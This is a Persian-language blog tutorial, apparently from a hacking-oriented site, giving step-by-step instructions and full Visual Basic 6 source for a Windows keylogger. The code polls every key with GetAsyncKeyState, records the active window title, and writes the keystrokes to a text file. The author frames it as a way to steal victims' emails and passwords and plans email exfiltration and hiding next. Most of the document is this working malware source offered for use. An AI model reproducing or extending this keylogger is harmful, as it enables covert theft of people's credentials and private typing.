همونطور که قبلا اشاره کرده بودیم ، کیلاگر ها برنامه هایی هستن که اطلاعات تایپ شده یا همون نوشته شده توسط کاربر رو ذخیره میکنن و برای هکر میفرستن که هکر هم میتونه با استفاده از اون اگه کاربر قربانی آدرس ایمیل و ... ش رو وارد کرده باشه ، سوء استفاده کنه
باید بگم کیلاگری که مینویسیم خیلی سادست بطوری که آنتی ویروس درجا میگیرتش :)) اینو فقط درست کردم و با شما به اشتراک گذاشتم که با وی بی هم یه کیلاگری ساخته باشیم !!!
اگه وی بی 6 بلد نیستین پیشنهاد میکنم اول از همه یاد بگیرین ، چون خیلی سادست ، بطوری که میتونم بگم تقریبا با Html و Cssخودمون برابری میکنه و کسایی که تازه میخوان برنامه نویسی شروع کنن ، خیلی سریع میتونن یاد بگیرن :) البته Html و Css زبان برنامه نویسی نیست و برای نشانه گذاریه
برای اینکار هم کارتونو ساده کردیم بطوری که تو وب خودمون هم Terminator32 یاد داده و هم قبلا کتاب آموزشی قرار داده بودیم
کتاب آموزش ویژوال بیسیک : جهت اطلاعات بیشتر و دانلود ، اینجا کلیک کنین
آموزش مقدماتی ویژوال بیسیک توسط Terminator32 : برای دیدن قسمت اول آموزش اینجا کلیک کنین
همچنین قبلا آموزش های زیادی در رابطه با ساخت کیلاگر داده بودیم که میتونین از لینک های پایین به اون مراجعه کنین
آموزش ساخت کیلاگر برای لینوکس با پایتون -> کلیک کنید
آموزش ساخت کیلاگر برای ویندوز با سی شارپ دات نت -> کلیک کنید
آموزش ساخت کیلاگر وب با چند زبان مختلف -> کلیک کنید
الان هم که میخوایم با استفاده از زبان ویژوال بیسیک درستش کنیم !!!
اول از همه ابزار ویژوال رو استارت کنین و موارد پایین رو (از طریق قسمت جعبه ابزار) با تنظیماتی که میگم به فرمتون اضافه کنین
TextBox -> 1 number -> Name : Text1
Timer -> 3 number -> Name : Timer1 , Timer2 , Timer3
===========================================================
Timers Enable
Timer1 & Timer3 => Enable : True
Timer2 => Enable : False
===========================================================
Timers Interval
Timer1 => Interval : 1
Timer2 => Interval : 1
Timer3 => Interval : 200
اگه نفهمیدین بالا چی نوشتم بگین بگم :)) ولی خیلی سادست ها یه خرده دقت کنین
در کل یدونه تکست باکس اضافه کنین سه تا هم تایمر و ویژگی های Interval و Enable تایمر هارو تغییر بدین ، بعدا برگردین و اسم های تایمرها + اسم تکست باکس رو تغییر بدین به چیزی که گفتم
البته میتونستم اینارو بصورت کد در بیارم که ساده باشه و شما هم راحت باشین ، اما میخوام مفت خوری نشه و یه خرده هم خودتون دستکاری کنین تا با محیط ویژگی یه ابزار آشنا بشین
بعد از اضافه کردن و تغییر دادن مواردی که گفتم
یه دیزاین این شکلی درست کنین
حالا به ترتیب کدهای پایین رو اضافه کنین
کدهای پایین رو اضافه کنین به بخش General
' برای اینکه بدونیم کلید شیفت توسط کاربر زده شده یا نه
Private Const VK_SHIFT = &H10
' برای زمانی که کاربر از حروف بزرگ انگلیسی استفاده میکنه
Private Const VK_CAPITAL = &H14
' از ای پی آی های پایین هم استفاده میکنیم تا بدونیم که کلید های کیبورد رو بخونیم و و چیزای دیگه
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private LastWindow As String
Dim wintxt As String
حالا مجددا به رویداد تایمر 1 برین و کدهای پایین رو به اون اضافه کنین
Dim FoundKeys As String
Dim AddKey, KeyResult
KeyResult = GetAsyncKeyState(13)
If KeyResult = -32767 Then
AddKey = "[Enter]" + vbCrLf
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
AddKey = " "
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(9)
If KeyResult = -32767 Then
AddKey = "[Tab]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(8)
If KeyResult = -32767 Then
AddKey = "[BackSpace]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(46)
If KeyResult = -32767 Then
AddKey = "[Delete]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(45)
If KeyResult = -32767 Then
AddKey = "[Insert]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(33)
If KeyResult = -32767 Then
AddKey = "[PageUP]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(34)
If KeyResult = -32767 Then
AddKey = "[PageDown]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(36)
If KeyResult = -32767 Then
AddKey = "[Home]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(35)
If KeyResult = -32767 Then
AddKey = "[End]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(112)
If KeyResult = -32767 Then
AddKey = "[F1]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(113)
If KeyResult = -32767 Then
AddKey = "[F2]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(114)
If KeyResult = -32767 Then
AddKey = "[F3]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(115)
If KeyResult = -32767 Then
AddKey = "[F4]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(116)
If KeyResult = -32767 Then
AddKey = "[F5]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(117)
If KeyResult = -32767 Then
AddKey = "[F6]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(118)
If KeyResult = -32767 Then
AddKey = "[F7]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(119)
If KeyResult = -32767 Then
AddKey = "[F8]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(120)
If KeyResult = -32767 Then
AddKey = "[F9]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(121)
If KeyResult = -32767 Then
AddKey = "[F10]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(122)
If KeyResult = -32767 Then
AddKey = "[F11]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(123)
If KeyResult = -32767 Then
AddKey = "[F12]"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(221)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "}"
Else
AddKey = "]"
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(219)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "{"
Else
AddKey = "["
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(186)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = ":"
Else
AddKey = ";"
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(222)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = """"
Else
AddKey = "'"
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(188)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "<"
Else
AddKey = ","
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(190)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = ">"
Else
AddKey = "."
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(191)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "?"
Else
AddKey = "/"
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(220)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "|"
Else
AddKey = "\"
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(187)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "+"
Else
AddKey = "="
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(189)
If KeyResult = -32767 Then
If GetKeyState(VK_SHIFT) < 0 Then
AddKey = "_"
Else
AddKey = "-"
End If
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(111)
If KeyResult = -32767 Then
AddKey = "/"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(106)
If KeyResult = -32767 Then
AddKey = "*"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(109)
If KeyResult = -32767 Then
AddKey = "-"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(107)
If KeyResult = -32767 Then
AddKey = "+"
GoTo keyfound
End If
KeyResult = GetAsyncKeyState(110)
If KeyResult = -32767 Then
AddKey = "."
GoTo keyfound
End If
For o = 96 To 105
KeyResult = GetAsyncKeyState(o)
If KeyResult = -32767 Then
TypeWindow
Select Case Val(o)
Case 97
Text1 = Text1 & "1"
Case 98
Text1 = Text1 & "2"
Case 99
Text1 = Text1 & "3"
Case 100
Text1 = Text1 & "4"
Case 101
Text1 = Text1 & "5"
Case 102
Text1 = Text1 & "6"
Case 103
Text1 = Text1 & "7"
Case 104
Text1 = Text1 & "8"
Case 105
Text1 = Text1 & "9"
Case 96
Text1 = Text1 & "0"
End Select
Exit Sub
End If
Next o
'END NUM LOCK
'Alphabet
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If
End If
Next i
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Select Case Val(Chr(i))
Case 1
Text1 = Text1 & "!"
Case 2
Text1 = Text1 & "@"
Case 3
Text1 = Text1 & "#"
Case 4
Text1 = Text1 & "$"
Case 5
Text1 = Text1 & "%"
Case 6
Text1 = Text1 & "^"
Case 7
Text1 = Text1 & "&"
Case 8
Text1 = Text1 & "*"
Case 9
Text1 = Text1 & "("
Case 0
Text1 = Text1 & ")"
End Select
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If
Exit Sub
End If
Next i
Exit Sub
keyfound:
TypeWindow
Text1 = Text1 & AddKey
حالا به رویداد تایمر ، تایمر 2 برین و مجدد کدهای پایین رو به اون اضافه کنین ، در واقع اینجا ما لاگ هارو توی یه فایل Txt میریزیم
If Text1.Text <> "" Then
Open App.Path & "\Keylogger.txt" For Append As #1
Print #1, Text1.Text
Print #1, "-------------------------------------------------"
Close #1
Text1.Text = ""
End If
Timer2.Enabled = False
حالا زیر همون End Sub که برای Timer2 هست کدهای پایین رو اضافه کنین
Function TypeWindow()
Dim handle As Long
Dim textlen As Long
Dim WindowText As String
handle = GetForegroundWindow
LastHandle = handle
textlen = GetWindowTextLength(handle) + 1
WindowText = Space(textlen)
svar = GetWindowText(handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)
wintxt = WindowText
If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1
Text1 = "Window Title : " & WindowText & vbNewLine & "Type Key : "
LastWindow = WindowText
End If
End Function
حالا که کدهای بالارو اضافه کردین ، رویداد تایمر ، Timer3 رو باز کنین و کدهای پایین رو داخل اون قرار بدید
Dim Handle1 As Long
Dim textlen1 As Long
Dim WindowText1 As String
Dim wintxt2 As String
Handle1 = GetForegroundWindow
LastHandle1 = handle
textlen1 = GetWindowTextLength(Handle1) + 1
WindowText1 = Space(textlen1)
svar1 = GetWindowText(Handle1, WindowText1, textlen1)
WindowText1 = Left(WindowText1, Len(WindowText1) - 1)
wintxt2 = WindowText1
If wintxt2 <> wintxt Then
Timer2.Enabled = True
End If
حالا وقتی کدهارو کپی کردین و ... وقتش میرسه که یه فایل ماژول اضافه کنیم و چند خط کد به اون اضافه کنیم که برای ایجاد ماژول تصویر پایین رو نگاه کنین و اگر متوجه نشدین ، بگین تا توضیح بدم !!!
بعد از اینکه مراحل بالارو انجام دادین و در آخر Module رو انتخاب کردین ، یه پنجره دیگه براتون باز میشه که شما مجددا اونجا روی ماژول کلیک کنین و Open رو بزنین
حالا از سمت راست اگه دقت کنین یه پوشه جدید اضافه شده که اسمش Modules هست که کنارشم یه علامت بعلاوه (+) وجود داره که شما باید اون علامت + رو بزنین تا ماژول ها به نمایش در بیاد ، بعدا دوبار روی ماژول یک کلیک کنین و کدهای پایین رو به اون اضافه کنین
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Function WinDir() As String
Dim SysPath As String
SysPath = String(255, vbNullChar)
GetWindowsDirectory SysPath, 255
WinDir = Left(SysPath, InStr(SysPath, vbNullChar) - 1)
End Function
Public Function SysDir() As String
Dim SysPath As String
SysPath = String(255, vbNullChar)
GetSystemDirectory SysPath, 255
SysDir = Left(SysPath, InStr(SysPath, vbNullChar) - 1)
End Function
کدهای بالارو که اضافه کردین ، میریم سراغ تست برنامه که برناممون خدایی نکرده خطا نده ;)
برای اجرای برنامه اونو یه جا ذخیره میکنیم که برای اینکار مراحل پایین رو انجام بدین
منوی فایل -> Save project -> مسیر ذخیره سازی فرم رو بدین و Save رو بزنین -> مجددا مسیر ذخیره سازی پروژه رو بدین و Save رو بزنین
بعد از اینکه پروژه رو ذخیره کردین با کلید F5 برنامه رو اجرا کنین و یه خرده مزخرف تایپ کنین که من چیزای پایین رو تایپ کردم ، البته برای من مزخرف نیس :)
خب دیگه اینم از تستش
یه تست نهایی مونده که اونم باید خودتون بررسیش کنین ، برای انجام کار نهایی هم که به جایی که پروژه رو ذخیره کردین برین و اونجا بگردین دنبال یه فایل متنی با اسم Keylogger چون لاگ های گرفته شده بلافاصله ذخیره میشه ...
در آخر هم برای اینکه پروژتونو کامپایل کنین و فایل Exe تولید کنین به منوی File برین و Exe.* رو انتخاب کنین ، فقط دقت کنین به جای * اسم پروژتون قرار داره
سعی میکنم تو آپدیت های بعدی یه نمه قشنگ ترش کنم ، مثلا ارسال ایمیل + مخفی سازی و ...
موفق باشید